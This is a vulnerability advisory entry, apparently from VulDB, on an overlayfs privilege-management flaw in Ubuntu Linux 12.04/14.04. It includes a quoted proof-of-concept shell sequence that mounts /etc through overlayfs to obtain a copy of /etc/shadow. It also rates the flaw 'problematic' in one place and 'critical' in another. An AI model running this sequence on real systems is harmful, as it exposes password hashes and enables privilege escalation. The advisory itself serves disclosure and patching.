Summaryinfo

A vulnerability, which was classified as problematic, was found in Ubuntu Linux 12.04/14.04. This affects an unknown function of the component overlayfs. Executing a manipulation can lead to privileges management. Moreover, an exploit is present. Applying a patch is advised to resolve this issue.

Detailsinfo

A vulnerability classified as critical was found in Ubuntu Linux 12.04/14.04 (Operating System). This vulnerability affects some unknown functionality of the component overlayfs. The manipulation with an unknown input leads to a privileges management vulnerability. The CWE definition for the vulnerability is CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was disclosed 06/16/2015 as confirmed mailinglist post (oss-sec). The advisory is shared for download at seclists.org. The exploitation appears to be easy. The attack needs to be approached locally. No form of authentication is required for a successful exploitation. Technical details are unknown but a public exploit is available. The MITRE ATT&CK project declares the attack technique as T1068.

A public exploit has been developed in Shell and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. As 0-day the estimated underground price was around $25k-$100k. The code used by the exploit is:

[email protected]:~$ ./create-namespace
[email protected]:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
[email protected]:~# chmod 777 work/work/
[email protected]:~# cd o
[email protected]:~/o# mv shadow copy_of_shadow
(exit the namespace)
[email protected]:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
[email protected]:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d      Inode: 939791      Links: 1
Device: 801h/2049d      Inode: 277668      Links: 1

Applying a patch is able to eliminate this problem. The bugfix is ready for download at git.launchpad.net.

The vulnerability is also documented in the databases at X-Force (103882) and Exploit-DB (37293). The entry VDB-93840 is pretty similar. Once again VulDB remains the best source for vulnerability data.

Productinfo

Type

• Operating System

Vendor

• Ubuntu

Name

• Linux

Version

• 12.04
• 14.04

License

• open-source

Website

• Vendor: https://www.ubuntu.com/

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Discussion